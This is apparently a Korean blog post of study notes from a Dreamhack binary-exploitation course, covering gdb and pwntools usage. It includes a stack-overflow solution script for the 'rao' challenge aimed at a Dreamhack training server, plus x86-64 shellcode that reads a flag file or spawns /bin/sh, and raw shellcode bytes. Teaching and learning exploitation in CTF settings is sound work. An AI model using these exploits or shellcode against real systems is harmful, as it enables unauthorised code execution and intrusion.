gdb
- 리눅스는 실행파일의 형식으로 ELF (Executable and Linkable Format)을 규정하고있다.
- 헤더 : 실행에 필요한 여러 정보
- 진입점 (Entry Point, EP) : OS는 ELF를 실행할 때, EP의 값부터 프로그램을 실행함. <=
elf
으로 확인entry
로 EP부터 프로그램을 분석할 수 있음
- 진입점 (Entry Point, EP) : OS는 ELF를 실행할 때, EP의 값부터 프로그램을 실행함. <=
- 섹션 : 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터
- .text, .data, .rodata ...
- 헤더 : 실행에 필요한 여러 정보
- b, c, r, si(step into 함수 내부로 드감), ni(next instruction), i(info), k(kill), pd(pdisas), disassemble
finish
: 함수 내부로 들어갔을 때 원래 실행 흐름으로 돌아가고 싶을 때 사용
examine (x
명령어)
- 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩
- Format letters : o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left)
- Size letters : b(byte), h(halfword), w(word), g(giant, 8 bytes)
- ex) x/10gx $rsp : rsp부터 80바이트를 8바이트씩 hex형식으로 출력
- ex) x/5i $rip : rip부터 5줄의 어셈블리 명령어 출력
- ex) x/s 0x400000 : 특정 주소의 문자열 출력
telescope (tele
명령어)
- 메모리 덤프 기능, 특정 주소의 메모리 값들을 보여주고, 메모리가 참조하고 있는 주소를 재귀적으로 탐색해 보여줌
vmmap
- 가상 메모리의 레이아웃을 보여줌, 어떤 파일이 매핑 된 영역일 경우, 해당 파일의 경로까지 보여줌
gdb/python argv
- run 명령어의 인자로
$()
와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.- ex)
r $(python3 -c "print('\xff' * 100)")
: argv[1]에 임의의 값을 전달
- ex)
- 입력값으로 전달하기 위해서는
<<<
를 사용- ex)
r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")
: argv[1]에 임의의 값을 전달하고, 값을 입력
- ex)
pwntools
# 설치 방법
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
pwntools API 사용 (process
, remote
, interactive
, p64
, u64
, send
, recv
)
process
: 로컬 바이너리 대상 익스플로잇 (디버깅)remote
: 원격 서버 대상 익스플로잇 (실제 공격)interactive
: 셸 획득했거나, 익스플로잇 특정 상황에 직접 입력을 주면서 출력 확인하고 싶을 때 사용
from pwn import *
p = process('./test') # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
p.interactive()
send
: 데이터를 프로세스에 전송
p.send(b'A') # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
recv
: 프로세스에서 데이터를 받기- recv(n) 은 최대 n바이트를 받음 recvn(n) 은 정확히 n바이트를 받음
data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello') # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall() # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
packing
&unpacking
: 값을 리틀엔디언의 바이트배열로 변경하거나 역과정을 할 때p32
,p64
,u32
,u64
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = b"ABCD"
s64 = b"ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))
ELF
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장
디버깅 (context.log
)
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력
기타 (context.arch
, shellcraft.sh
, asm
)
from pwn import *
# contextarch : 아키텍처 지정 가능
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386" # x86 아키텍처
context.arch = "arm" # arm 아키텍처
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code) # 셸 코드를 기계어로 어셈블
드림핵 rao 문제 해결
❯ cat sol.py
from pwn import *
#p = process("./rao")
p = remote("host1.dreamhack.games",18749)
elf = ELF("./rao")
get_shell = elf.symbols['get_shell']
ret = ROP(elf).find_gadget(['ret'])[0]
payload = b'A'*0x28
payload += b'B'*0x8
payload += p64(ret) # payload += p64(0x400729) # stack align
payload += p64(get_shell) # payload += p64(0x00000000004006aa)
p.sendline(payload)
p.interactive()
Shellcode
- 익스플로잇 (Exploit) : 상대 시스템 공격 하는 것
- 셸 코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각
orw 셸 코드
- 파일을 열고, 읽은 뒤 화면에 출력해주는 셸 코드
- syscall : rax에 값을 넣고 syscall로 호출
- read : rax = 0
- write : rax = 1
- open : rax = 2
- RDONLY : 0
- WRONLY : 1
- RDWR : 2
- execve : rax = 3b
- sh와 같은 셸을 실행할 수 있다.
; char buf[0x30];
; int fd = open("/tmp/flag", RD_ONLY, NULL);
; read(fd, buf, 0x30);
; write(1, buf, 0x30);
; push 0x67616c662f706d742f (/tmp/flag 의 리틀 엔디안 형태)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0 ; NULL
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag",RD_ONLY,NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp ; buf[0x30] 에 담을거니, rsi = rsp-0x30을 넣어준다.
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
이걸 이용해서 아래 스켈레톤 코드에 잘 넣어 $ gcc -o orw orw.c -masm=intel
이런식으로 컴파일해 실행시켜주면 된다.
- 초기화되지않은 메모리를 사용으로 이상한 문자열이 출력될 수 있다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
execve 셸 코드 (== execve(“/bin/sh”, null, null) 실행을 목표로한 셸 코드)
mov rax, 0x68742f6e69622f ; {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x0}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall ;execve(“/bin/sh”, null, null)
objdump를 이용한 shellcode 추출
- shellcode를 byte code(opcode)의 형태로 추출
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o # 오브젝트파일 .o 얻을 수 있음
$ objcopy --dump-section .text=shellcode.bin shellcode.o # .bin 파일 얻을 수 있음
$ xxd shellcode.bin # 바이트값을 16진수로 볼 수 있음
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
'Pwn' 카테고리의 다른 글
[PWN Dreamhack] RTL, ROP (0) | 2025.02.22 |
---|---|
[PWN Dreamhack] Stack Canary (0) | 2025.02.21 |
[PWN Dreamhack] BOF (0) | 2025.02.21 |
[PWN Dreamhack] 컴퓨터과학 배경지식 (0) | 2025.02.20 |
[PWN Dreamhack] 윈도우 환경 구축과 우분투 각종 플러그인 설치 (0) | 2025.02.19 |